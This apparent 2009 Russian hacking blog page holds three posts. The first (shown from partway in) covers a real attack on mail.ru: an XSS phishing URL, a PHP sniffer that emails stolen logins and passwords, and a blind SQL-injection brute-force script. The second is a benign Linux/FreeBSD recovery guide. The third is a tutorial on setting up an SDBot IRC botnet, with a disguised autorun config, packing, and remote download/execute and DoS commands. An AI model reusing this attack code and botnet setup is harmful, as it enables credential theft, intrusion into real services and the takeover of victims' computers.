Я очень удивился и обрадовался, потому что выскочило окошко, которое означало одно – target никак не фильтруется. Было решено создать фэйк страницу авторизации, чтобы наивные юзеры сами присылали мне пароль. Было уже 5 часов утра, даже после 5 кружек кофе хотелось спать (а еще больше хотелось в туалет ). Поэтому я попросил своего хорошего знакомого pixcher’a продолжить начатое мною дело.

[next day...]

На следующий день (т.е. на этот же ) на аську пришла мессага от pixcher’a. Он создал фэйк форму, а также составил ядовитый урл:

http://talk.mail.ru/login.html?target=»><script>location.href=’Переадресацию на нашу фэйк форму’</script>

В таком виде этот урл сильно палился, поэтому мы немного замаскировали его, чтобы юзеры чувствовали себя сухо и комфортно . В итоге урл принял такой вид:

http://talk.mail.ru/login.html?targe…72%69%70%74%3e

Далее был написан небольшой сниффер, который принимал переданные значения, записывал их в файл и перекидывал юзера к себе на почту, вот код сниффера:

<?
$adminmail = «mymail@mail.ru»;
function email($to,$mailtext) {
mail($to,’password’,$mailtext,$adminmail);
}
$text=»[".date("d.m.y H:i")."]Login: $_POST[login] Password: $_POST[pass]\r\n»;
email($adminmail,$text);
$file = fopen(«logs.txt»,»a»);
flock($file,3);
fputs($file, $text);
flock($file,1);
fclose($file);

echo «<FORM id=’auth’ action=’http://talk.mail.ru/login.html’ method=post>
<INPUT type=hidden name=login value=’$_POST[login]‘>
<INPUT type=hidden name=pass value=’$_POST[pass]‘>
<script>auth.submit();</script>
</FORM>»;
?>

Обратите внимание, как юзер попадает к себе на почту (строка 17):

<script>auth.submit();</script>

Создание фэйка – это совсем не сложно, сохраняем пагу к себе на винт и редактируем параметр action тега form. В итоге данные, которые ввел юзер, запишутся к тебе в файл и произойдет редирект, удивленный юзер решит, что произошли какие-нить сбои в работе службы DNS.

[testing...]

Для проверки всего сказанного я написал «жалостливое» письмо своей новой подружке от бедных админов support@mail.ru c просьбой кликнуть по ссылке… и вскоре в файле logs.txt появилась новая строчка… На следующий день pixcher нашел sql-inj:

http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=9′

Ошибка выполнения запроса!

SELECT COUNT(DISTINCT cc.content_id) FROM cache_content as cc, cache_content_region as r, cache_content_num as n WHERE cc.content_group = ‘melody’ AND cc.content_type = ‘melody_mp3′ AND r.content_id = cc.content_id AND n.content_id = cc.content_id AND r.region_id = ‘9′ AND n.model_id = 0 AND singer_id = ‘9»

You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near »9»’ at line 1

Я не поверил своим глазам, но после нажатия на кнопку REFRESH баг не исчез =) Запрос к БД на число мелодий по введённым критериям совсем не фильтровался на спецсимволы!!! Абсолютно!!! Моя радость увеличилась, когда я заметил, что запрос

http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=9′ or 1=1/*

выполняется и выдаёт нам кучу мелодий на скачивание, а запрос

http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=9′ or 1=2/*

выдаёт 0 => никакого списка рингтонов не отображает =), а это значит то, что можно посимвольно брутить поля базы данных! Для начало попробуем сбрутить имя пользователя БД user(). SQL функция substring(user(),1,1) выдёргивает из строки user() первый символ, а функция lower(substring(user(),1,1)) ещё и переводит его в нижний регистр. Запрос

http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=9′ AND lower(substring(user(),1,1))=»a»/*

не выдал ни одного рингтона – а значит первая буква пользователя БД не «a» =(. Первый символ я подобрал вручную, запрос

http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=9′ AND lower(substring(user(),1,1))=»i»/*

выдавал мне полный перечень музона и я понял, что для облегчения этого беспонтового ручного перебора нужно писать скрипт… Наш скрипт должен скачивать страницу, меняя в запросе =»a» на остальные символы английского алфавита и если в теле скаченной страницы присутствует наш список мелодий (практическим путём было выяснено, что такая страница содержит волшебное число 17107 ), то скрипт должен показать нам этот символ и перейти к поиску второго символа, то есть выполняя запросы, содержащие substring(user(),2,1) и т.д. Не долго думая я запусти блокнот и начал вбивать в него до боли знакомые строки любимого PHP. У меня получилось примерно так:

<?
#
Скрипт для посимвольного брута полей БД by pixcher (http://runthes.ru)
set_time_limit(0); //
пусть наш скрипт не обламывается, если перебор затягивается на длительное
время
$find=»user()»;#
Искомая строка (здесь может быть любое поле БД в виде подзапроса)
$bruteline =’qwertyuiopasdfghjklzxcvbnm1234567890_+!@#\$%^&*\ ‘»()’;#
Предполагаем, что исходная
строка состоит только из этих символов
$k=1;#
Номер символа, который мы брутим (изначально первый =))
#
Далее идёт функция для скачивания веб странички, адрес которой передаётся ей в параметре
function get_page ($link){
$url = parse_url ($link);
$scr = $url['path'];
$scr .= ($url['query'] > «»)?»?».$url['query']:»";
$scr .= ($url['fragment'] > «»)?»#».$url['fragment']:»";
$host .= $url['host'];
$port = ($url['port'] > «»)?$url['port']:80;
$sock = fsockopen ($host, $port);
fputs ($sock, «GET /$scr HTTP/1.0\r\nHost: $host\r\n\r\n»);
$cont = «»;
while (!feof ($sock)) { $cont .= fgets ($sock); }
fclose ($sock);
return $cont;
}

for ($i=0;$i<strlen($bruteline);$i++){ # запускаем цикл для всех наших символов
$link=»http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=9′%20AND%20lower(substri ng($find,$k,1))=\»$bruteline[$i]\»/*»;#
Динамически изменяющийся запрос =)
$page=get_page($link);#
Скачиваем страницу
if(strstr($page, «17107″)){ #
…и если она содержит магическое число 17107…
echo «$bruteline[$i]«; #
…показываем найденный символ…
$i=0; #
…начинаем перебор заново…
$k++; #
…но для следующего символа
}}
?>

Запускаем наш скрипт и… видим имя пользователя БД: «inform@yavanna.mtu». Попробуем вместо $find=»user()»; перебирать результаты подзапроса, например

$find=»(SELECT password from mysql.user LIMIT 1)»;

Запускаем скрипт, но он выдаёт… эх… подзапросы к сожалению не поддерживаются в почтовой БД =( Ничего страшного, UNION SELECT ещё никто не отменял, так что возможен такой перебор:

http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=-9′ UNION SELECT 1 FROM mysql.user where user=»inform» and lower(substring(password,1,1))=»a»

но к этому моменту меня уже стало воротить от одной мысли о запросе к БД и я «вдруг» вспомнил, что неправомерный доступ к конфиденциальной информации карается законом =)

[end...]

Как видишь, даже раскрученный проект имеет ошибки. Хочу заметить, что это не единственная ошибка на mail, так что ищи и удачи тебе!

Ноябрь 20, 2009 Опубликовал arthurbabark | Uncategorized | | No Comments Yet

Мастер-класс по реанимации никсов: методы борьбы со сбоями Linux и FreeBSD

UNIX-подобные операционные системы устроены так, что если в них что-то ломается, то они не пытаются самовосстановиться, а честно сообщают о случившемся. Дальнейшая судьба операционки зависит от квалификации владельца компа: новичок сразу затеет переустановку, матерый же юниксоид спокойно загрузится с LiveCD, наберет в терминале несколько команд и отправит комп на перезагрузку, довольно усмехнувшись. Дизайн UNIX настолько прост и прямолинеен, что ОС можно поднять с колен, в каком бы состоянии она ни находилась.

Всего существует шесть классов проблем, с которыми сталкиваются пользователи никсов:

  1. Загрузка. Затертая запись MBR, забытый пароль root.
  2. Оборудование. Подвисания и самопроизвольная перезагрузка ОС, паника ядра.
  3. Винчестеры. Затертая таблица разделов, выход из строя жесткого диска.
  4. Графическая подсистема. Неправильная настройка xorg.conf, отсутствующий видеодрайвер, тормоза.
  5. Драйвера. Все, что связано с нераспознанным оборудованием.
  6. Сеть. Неправильная настройка сетевых интерфейсов, неработающий DNS-резолвинг.

Мы рассмотрим способы борьбы с каждой из этих проблем.

Когда пингвин отказывается выходить на старт

Проблема затертой записи MBR загрузчиком другой операционной системы уже возведена в разряд запрещенной к обсуждению на многих тематических форумах, попала в многочисленные FAQ и глубоко сидит в печенках опытных пользователей. Нет в нашей стране новичка в Linux, который бы ни разу с ней не сталкивался. А между тем, решение очень простое: достаточно загрузиться с любого Linux LiveCD, открыть окно терминала и набрать заветную команду:

$ sudo grub-install /dev/sda

В большинстве ситуаций этой команды будет достаточно для возвращения загрузчика на законное место. Но если вместо глубокомысленного молчания grub-install разразится бранными ругательствами – дело плохо! Придется запустить командную строку grub:

$ sudo grub

Команда «find /boot/grub/stage1″, введенная в ответ на приглашение grub, должна выдать на экран имя дискового раздела, содержащего каталог /boot/grub. Далее все просто:

: root дисковый_раздел
: setup (hd0)
: quit

Куда реже страдают от проблемы затертого загрузчика пользователи FreeBSD, но такое случается и в с ними. Алгоритм восстановления записи MBR тут несколько иной:

  1. Загружаемся с первого или восстановительного диска FreeBSD.
  2. Выбираем пункт меню «Fixit», далее «CDROM/DVD».
  3. Набираем в открывшейся командной строке «boot0cfg -o packet ad0 && exit».
  4. Жмем на системном блоке кнопку Reset.

С MBR все. Теперь поговорим о забытом пароле пользователя root. Как же юниксоиды любят выдумывать длинные, запутанные пароли, а потом с успехом их забывать, и как же они радуются, узнав, что для восстановления пароля достаточно выполнить всего два простых действия. А именно – загрузиться в однопользовательском режиме и удалить пароль из базы пользователей с помощью команды vipw.

В Linux вход в однопользовательский режим осуществляется за счет передачи ядру опции single. Выбери в grub нужный пункт меню, нажми ‘e’, добавь в конец появившейся строки слово single и нажми <Enter>. Ядро благополучно загрузится и запустит /bin/sh от имени суперпользователя. Выполни команду vipw, сотри звездочку в поле пароля пользователя root, выйди из редактора и набери exit.

Чтобы попасть в однопользовательский режим FreeBSD, требуется нажать ‘4′ в ответ на загрузочное меню или набрать «boot -s» в командной строке загрузчика.

Железная болезнь

Часто ядро отказывается загружаться или корректно работать по причине кривой реализации ACPI в чипсете или BIOS’е материнской платы. Разработчики операционных систем уже устали ругаться по этому поводу; ядра Linux и FreeBSD содержат даже не десятки, а сотни воркэраундов для материнских плат, обладающих такой неприятной особенностью. Однако очевидно, что с момента поступления материнской платы в продажу и до обнаружения в ней ошибок проходит какое-то время, поэтому не стоит надеяться, что твоя свежекупленная бажная ASUS уже есть в черных списках ядра.

Проблемы с ACPI и подконтрольным ему IO-APIC могут проявляться по-разному: периодические зависания ОС, неработающая клавиатура и мышь, сообщения ядра «MP-BIOS bug: 8254 timer not connected to IO-APIC», но чаще всего «железный баг» дает о себе знать уже на этапе установки ОС. Инсталлятор просто входит в ступор во время копирования файлов.

К счастью, это легко обходится через явное отключение APIC и/или ACPI в ядре. Для Linux необходимо выбрать нужный пункт меню в загрузчике grub, нажать ‘e’, добавить в конец появившейся строки слово noapic и нажать ‘b’. Для фиксации изменений открываем файл /boot/grub/grub.conf и добавляем noapic ко всем строкам, начинающимся со слова kernel. Если и это не поможет, полностью отключаем ACPI через опцию «acpi=off».

Для FreeBSD достаточно нажать клавишу ‘2′, когда появится меню загрузчика, а затем зафиксировать изменения, добавив строку «hint.apic.0.disabled=1″ в loader.conf:

# echo "hint.apic.0.disabled=1" >> /boot/loader.conf

Периодические подвисания операционной системы или постоянные уходы ядра в панику могут свидетельствовать о том, что оперативная память дышит на ладан. Если подвисания случаются с периодичностью раз в час или тридцать минут, скорее всего, погорели только некоторые ячейки одной из планок. В случае выхода из строя всего модуля памяти ядро уйдет в панику при следующей же загрузке!

Проверить память на сбойность не составляет труда. Самый примитивный способ – запаковать и распаковать большой объем данных, например, дерево исходных текстов ядра:

$ tar -czf ~/src.tar.gz /usr/src && tar -xzf ~/src.tar.gz

Сбойные ячейки памяти вызовут коллизии при сверке контрольных сумм, и архиватор без замедления сообщит об этом.

Другой (более правильный) способ проверки заключается в использовании профессионального инструмента memtest86. Это самодостаточная программа, которая не требует операционной системы для своей работы. Она изначально присутствует в меню grub многих дистрибутивов и LiveCD Linux. Просто перезагрузи машину и выбери пункт меню memtest86. Проверка памяти начнется автоматически.

Программа memtest86 использует множество различных алгоритмов тестирования, поэтому проверка может затянуться надолго. Рекомендую запустить memtest86 на ночь, лечь спать, а утром проверить, нет ли в выводе красных строчек, сигнализирующих о сбойных ячейках.

Частые самопроизвольные перезагрузки машины, особенно во время запуска тяжелых приложений или игр, – следствие перегрева процессора или видеокарты. Проверь работоспособность кулеров и, в случае необходимости, замени их. Если времени на эту процедуру нет, а работать надо, попробуй снизить частоту процессора или чипа видеокарты.

Многие современные процессоры и материнские платы позволяют изменять тактовую частоту процессора «на лету», без перезагрузки компа. Обычно для этого предоставляется специальный интерфейс, расположенный в недрах каталога /sys в Linux или в одной из ветвей sysctl во FreeBSD.

Для манипулирования частотой и другими характеристиками видеопроцессора принято использовать кроссплатформенную утилиту nvclock. Запусти ее с флагом ‘-s’, чтобы узнать текущую частоту GPU:

# nvclock -s

А затем снизь ее примерно на 100 МГц:

# nvclock -n 300

Винты посыпались

Пользователи со стажем знают, что диапазон проблем, связанных с использованием жестких дисков, очень широк и простирается от механического повреждения в результате удара до случайно потертой таблицы разделов. В некоторых из них винчестер еще можно вернуть к жизни, но в большинстве случаев он либо уже умер, либо находится в предсмертном состоянии.

Чтобы не попасть впросак, специалисты рекомендуют периодически проверять состояние жесткого диска, используя утилиты для отображения статистики S.M.A.R.T., специального чипа, встроенного в жесткий диск. В *nix-системах тоже есть такие утилиты, самая известная из которых именуется smartctl.

Пакет smartmontools, содержащий программу smartctl, предустановлен почти в любом дистрибутиве Linux, а во FreeBSD доступен через систему портов (sysutils/smartmontools).

Запустим smartctl:

# smartctl -A /dev/sda

В появившейся на экране таблице нас интересуют только две строки: Reallocated_Sector_Ct и Temperature_Celsius. В последней колонке первой из них отражено количество переназначенных секторов. Значение, отличное от нуля, говорит о проблемах. Диск начинает сыпаться, и число переназначенных секторов будет только расти. Последняя колонка строки Temperature_Celsius содержит текущую температуру жесткого диска, которая не должна превышать 50-ти градусов (36-45 градусов – идеальные условия).

Значения S.M.A.R.T. – это всего лишь цифры, которые далеко не всегда имеют связь с реальным состоянием жесткого диска. Более того, исследования, проведенные компанией Google, показали, что в 60% процентах случаев вероятность гибели дисков никак не связана со значениями S.M.A.R.T., а единственный более-менее достоверный показатель – это количество переназначенных секторов.

Но что, если диск уже почти умер, а информация не может быть восстановлена из-за повторяющихся ошибок чтения или перемещения головки? Тогда при попытке копирования файлов ядро завалит dmesg сообщениями I/O error, а команда cp просто возвратит ошибку. Для начала следует попробовать отмонтировать раздел и слить информацию с помощью dd на другой жесткий диск (здесь и далее /dev/sda – сыплющийся диск, /dev/sdb – новый диск):

# dd if=/dev/sda of=/dev/sdb conv=noerror,sync

Если количество сбойных секторов на диске невелико, то dd скопирует диск, заполнив проблемные участки нулями. После этого останется только выполнить fsck для всех файловых систем и жить дальше с новым диском.

К сожалению, трюк с применением dd срабатывает не всегда. В некоторых ситуациях диск оказывается поврежденным настолько, что сбойные участки простираются на сотни тысяч или даже миллионы секторов подряд! Завершения отработки dd придется ждать несколько дней, за которые подопытный вполне может скончаться.

Лучшие умы планеты советуют использовать специальную утилиту dd_rescue, с помощью которой можно провести копирование диска с двух сторон: первый проход с начала диска, второй – с конца. В результате на новом диске окажется вся информация за исключением проблемного участка.

Делаем первый проход:

# dd_rescue -v -y 1G -l sda.log -o sda.bb \
/dev/sda /dev/sdb

Когда диск начнет безумно шелестеть, нажмем <Ctrl+C>, чтобы завершить копирование, и запускаем процесс копирования с конца:

# dd_rescue -r -v -y 1G -l sda.log -o sda.bb \
/dev/sda /dev/sdb

Останавливаем процесс копирования после продолжительного шелеста диска и отключаем умирающего.

Другая проблема – утрата таблицы разделов, которую еще совсем недавно было принято решать с помощью шестнадцатеричного редактора. Сегодня же проще применить утилиту gpart:

# gpart -W /dev/sda /dev/sda

Альтернатива gpart – testdisk, более мощная и гибкая программа с псевдо-графическим интерфейсом.

Причуды мистера X

За последнее время X.org стал на порядок интеллектуальнее, и проблемы с ним уже не являются серьезным препятствием. Теперь X-сервер умеет автоматически находить устройства ввода, подбирать правильные разрешение и частоту обновления для монитора. Во многих дистрибутивах настраивать его вообще не нужно, установочные скрипты сами генерируют правильную конфигурацию.

Но время от времени X-сервер дает сбои. Причем, зачастую виновным оказывается сам пользователь или система обновления пакетов. Если после загрузки вместо привычного окна логина ты видишь скучную черную консоль, значит, процедура запуска сервера завершилась с ошибками. Этому может быть сотня приин, начиная от отсутствия необходимого драйвера и заканчивая проблемами с каталогом /tmp. Самое разумное, что можно сделать – попробовать повторно запустить X-сервер командой startx и посмотреть, какие ошибки она выдаст на экран. В большинстве случаев этого оказывается достаточно для диагностики проблемы, но если причины сбоя остаются загадкой, следует обратиться за более подробным разъяснением к файлу /var/log/Xorg.0.log:

# grep EE /var/log/Xorg.0.log

Записывая логи, X-сервер помечает все ошибки маркером «(EE)», так что приведенная команда выведет только записи, сигнализирующие о проблемах.

Если чувствуешь, что ошибки самостоятельно тебе не исправить, просто выполни команду «X -configure», которая сгенерирует новый конфигурационный файл X.org.

Кроме сбоев, X-сервер может элементарно тормозить. В этом случае винить следует уже не пользователя или дистрибутив, а видеодрайвер. Современные графические тулкиты и некоторые среды рабочего стола (KDE4, например) практикуют перекладывание части работ по отрисовке графики на плечи графического ускорителя. Выливается это в скверные показатели производительности в системах, видеодрайвера которых не поддерживают функции 2D/3D-ускорения. В частности, этим страдает стандартный nvidia-драйвер nv. Чтобы решить проблему, зайди на сайт nvidia.com и скачай последний драйвер для своей ОС или сделай то же самое через систему управления пакетами.

Потерянный драйвер

Современные версии Linux и FreeBSD под завязку набиты драйверами даже для самого экзотического оборудования. Дни, когда для этих операционных систем приходилось индивидуально подбирать конфигурацию компа, прошли. Сегодня Linux и FreeBSD легко встают на любой современный сервер, домашний компьютер или лэптоп и не требуют специального конфигурирования. Загвоздка лишь в том, что драйвера для «железных новинок» появляются с некоторым опозданием, что вполне закономерно, но неприятно.

Если твоя свежекупленная железка никак не проявляет работоспособность, значит, ядро не подхватило ее во время загрузки. Такое может произойти в двух ситуациях: либо драйвер не был загружен во время инициализации системы, либо драйвера для такого устройства нет в ядре или модуле. В любом случае следует опросить шину PCI на предмет найденных устройств и загруженных драйверов. Для этого можно использовать утилиту lspci в Linux или pciconf во FreeBSD:

linux# lspci -v
freebsd# pciconf -l -v

На экране ты увидишь все найденные во время инициализации ядра устройства и закрепленные за ними модули (драйвера). В первом случае имя модуля будет указано в строке «Kernel modules:», во втором – в первой строке каждого устройства.

В моем примере слово nfe0 в самом начале отражает имя устройства (сетевая карта) и закрепленный за ним драйвер nfe. Если вместо имени ты увидишь слово «none» – значит, ядро не загрузило соответствующий драйвер, и пора отправляться на его поиски. Введи полное имя устройства и название операционной системы в строку поиска google, и ты найдешь имя необходимого модуля или сообщение о том, что данное устройство пока не поддерживается ядром.

Если поиск драйвера не принес результатов, остается одно – ждать выхода новой версии ядра/ОС и надеяться, что в нем появится поддержка твоего оборудования. Владельцы неподдерживаемых сетевых адаптеров могут попытать счастья с фреймворком NDISWrapper, который представляет собой модуль ядра Linux. Он реализует прослойку для работы драйверов NDIS (Network Driver Interface Specification), предназначенных для Windows.

Установи пакет ndiswrapper, скопируй с диска каталог с официальным драйвером для Windows, найди в нем INF-файл и выполни эту команду:

# ndiswrapper -i driver.inf

Проверь, загрузился ли драйвер:

# ndiswrapper -l

Все в порядке? Загружай модуль и конфигурируй сеть:

# modprobe ndiswrapper

Латаем сети

Проблемы с подключением к сети – бич новичков в Linux. Большинство дружелюбных к пользователю дистрибутивов находят сетевые интерфейсы сами и пытаются настроить их средствами DHCP. Срабатывает это далеко не всегда. Перво-наперво запусти команду «dmesg | less» в Linux или «less /var/run/dmesg.boot» во FreeBSD и найди в ее выводе сетевой адаптер, который ты используешь для выхода в интернет или локальную сеть. Например:

nfe0: <NVIDIA nForce2 MCP2 Networking Adapter> port …

Первое слово – это название сетевого интерфейса (в Linux он будет именоваться eth0 или eth1). Запусти команду ifconfig без аргументов и найди в ее выводе это название. Если его нет – значит, интерфейс неактивен, если же в выводе нет строки inet – значит, ему не присвоен IP-адрес. Активировать интерфейс можно командой:

# ifconfig интерфейс inet IP-адрес netmask сетевая-маска up

Обычно для выхода в локальную сеть не требуется ввод дефолтового шлюза, так что после исполнения этой команды доступ к локальной сети должен открыться. В случае, если стандартный шлюз все-таки используется, выполни следующую команду:

# route add default gw IP-шлюза

Твой провайдер может использовать PPPoE или PPTP-сервер для предоставления доступа к интернету. За сим я прощаюсь. Удачи!

Ноябрь 7, 2009 Опубликовал arthurbabark | UNIXOID | | No Comments Yet

Свой ботнет – это просто

В этой статье я расскажу о том, как можно завести свой ботнет, покажу обзор самых популярных бот-программ на сегодняшний день, установку и настройку ботов на примере [SD]-Bot. Но, для начала, объясню что такое боты и ботнет. Ботнет – это N-ое количество компьютеров зараженных специальным трояном, который объединяет этот компьютер и остальные зараженные компьютеры в одну единую сеть, которой управляет «хозяин». Бот – это компьютер, на котором установлена бот-программа, при помощи которой «хозяин» может управлять этим компьютером. Боты применяются чаще в хакерских целях, чем в вычислительных. В основном из зараженной машины бот-программа делает «DoS-зомби» которая подчиняется своими хозяину. Ботнетом можно управлять 3 видами: HTTP/IRC/MAIL. На сегодняшний день, самые популярные виды – это HTTP и IRC. В этой статье, я покажу как завести свою бот-сеть, которая будет управляться посредством IRC.

Большинство ботов используют так называемую «stealth» технологию, которая позволяет трояну быть полностью невидимым в системе и юзер даже не будет подозревать что в его системе находиться троян. Некоторые боты-черви используют технологию самораспространения, благодаря нашумевшим дырам в винде, например брешь в службе RPC, боты способны сами распространяться по сети, заражая ежедневно тысячи компьютеров, обычно такие боты пишутся под заказ и стоят много денег. Но не все так плохо как кажется на первый взгляд. Существует множество «public» ботов которые может скачать любой желающий и создать свою бот-сеть. Вот обзор самых популярных паблик-ботов:

AgoBot – Пожалуй самый известный/лучший/с большими возможностями, такими как: DoS/Граббинг паролей/Стелс/Обход фаерволлов и множество других возможностей. К сожалению автор этого бота сейчас сидит в тюрьме, но исходники его творения ушли в сеть, и в данный момент насчитывается около 100(!!) модификация этого бота.

PhatBot – Нашумевшая модификация AgoBot’a с кучей возможностей, отличительная черта: самораспространение через баги в RPC, LSASS и т.п.

Rx-Bot – Достаточно новый бот, не уступающий возможностям AgoBot.

В моем обзоре я возьму другого бота для практики – [SD]-Bot от русского автора [SD].Это пожалуй самый простенький и стабильный бот, обладающий функциями DoS/Администрирование IRC-канала (не уступает возможностям eggdrop). Исходники этого бота, ты найдешь в архиве со статьей (точнее тут: http://inattack.ru/download/art/sdbot05b-AE.zip). Как ты уже понял, бот управляется через IRC, поэтому зарегистрируем канал для наших зомби ;) .Для этого заходим на наш будущий канал и вбиваем туда следующую команду:

/msg chanserv register #канал пароль краткое_описание_канала (например канал Васи Пупкина)

Теперь этот канал принадлежит нам. Теперь о боте. Для компиляции необходим LCC или Visual Studio 6.У меня стоит Visual Studio 7 .NET и все нормально собирается. Не забываем о том, что во многих public-ботах умышленно допущены ошибки для защиты от «детей», поэтому если ты собираешься разводить серьезную бот-сеть, то тебе необходимы знания Си. Итак распаковываем исходники и открываем файл SDBOT05A.CPP.Находим там строчку:

irc_sendf2(sock, «JOIN %s %s\r\n», channel, chanpass)

и меняем ее на:

irc_sendf2(sock, «JOIN %s %s\r\n», channel, chanpass);

Все, ошибка исправлена, теперь перемещаемся на строчку выше и ищем следующую строчку:

// bot configuration
const char botid[] = «set_me»; // ID бота,можно вписывать что угодно, апример «mYz0mb1e»
const char password[] = «set_me»; // Пароль на бота.
const char server[] = «set_me»; // IRC-сервер,пример: «irc.dalnet.ru»
const int port = 6667; // Порт сервера, оставьте как есть.
const char server2[] = «»; // необязательный параметр, на случай если 1 сервер будет не доступен, то бот законнектится на второй
const int port2 = 6667; // Аналогично
const char serverpass[] = «»; // Пароль от сервера(оставьте пустым)
const char channel[] = «set_me»; // Канал ,где будут отчитываться боты, пример: «#ru24″
const char chanpass[] = «»; // Пароль от канала (не обязательный параметр, если ваш канал не требует авторизации)
const char filename[] = «win.exe»; // Название файла-трояна(бот) которое будет видно в процессах.
const BOOL regrun = TRUE; // Использовать ключ в реестре для автозагрузки(включено по умолчанию)
const char valuename[] = «Microsoft Internet Explorer»; // Название ключа в реестре
const char prefix = ‘.’; // Префикс название у ботов(необязательный параметр)
const char version[] = «sdbot v0.5a by [sd]«; // Метка бота ;)

Остальные параметры нам не интересны. Все, бот готов к эксплуатации. Теперь компилируем это чудо, после этого сжимаем его UPX’ом чтобы уменьшить размер. Теперь заходим на IRC-канал,запускаем у себя трояна и видим что на канал зашел бот :) Теперь можно давать команды боту (или ботам, если вы уже успели заразить пару компов ;) )

Пример:

<< Nitrex >>: .about
<sdbot1>: sdbot version 0.4c by [sd] (sdbot@mail.ru). homepage: sdbot.n3.net/
<sdbot2>: sdbot version 0.4c by [sd] (sdbot@mail.ru). homepage: sdbot.n3.net/
<sdbot3>: sdbot version 0.4c by [sd] (sdbot@mail.ru). homepage: sdbot.n3.net/

Как видим, все боты послушно выполнили нашу команду – показать инфу о создателе бота. Но тут есть небольшая неувязка: если ты собираешься создать серьезную бот-сеть состоящую из нескольких тысяч компьютеров-зомби, то боты просто зафлудят сообщениями «хозяина». В этом случае ты должен убрать из исходного кода все printf()’ы и sprintf()’ы чтобы мессаги не выводились. Ну а теперь я приведу список самых нужных команд для [SD]-Бота:

cycle <seconds> <channel> – уйти на N-кол-во времени с канала, а потом зайти.
die – самоубийство :)
execute <visibility> <file> [parameters] – запустить файл на компьютере жертвы
download <url> <destination> <action> – скачать файл на комьютер-зомби. Очень полезно когда нужно затроянить всех зомби другим трояном или модификацией бота!
ping <host> <# of pings> <packet size> <timeout> – великий и ужасный ПИНГ aka DoS ;)

Остальные команды ты найдешь в файле commandref.html. НО ПОМНИ! Все что ты делаешь это противозаконно и попадает под 273 статью УКРФ, данная статья дана лишь для ознакомления и расширения кругозора читателя. Ну и для твоей же безопасности, ведь ты теперь знаешь, что делать если твоя тачка странно себя ведет, ведь так ;) ?

Октябрь 26, 2009 Опубликовал arthurbabark | Uncategorized | | No Comments Yet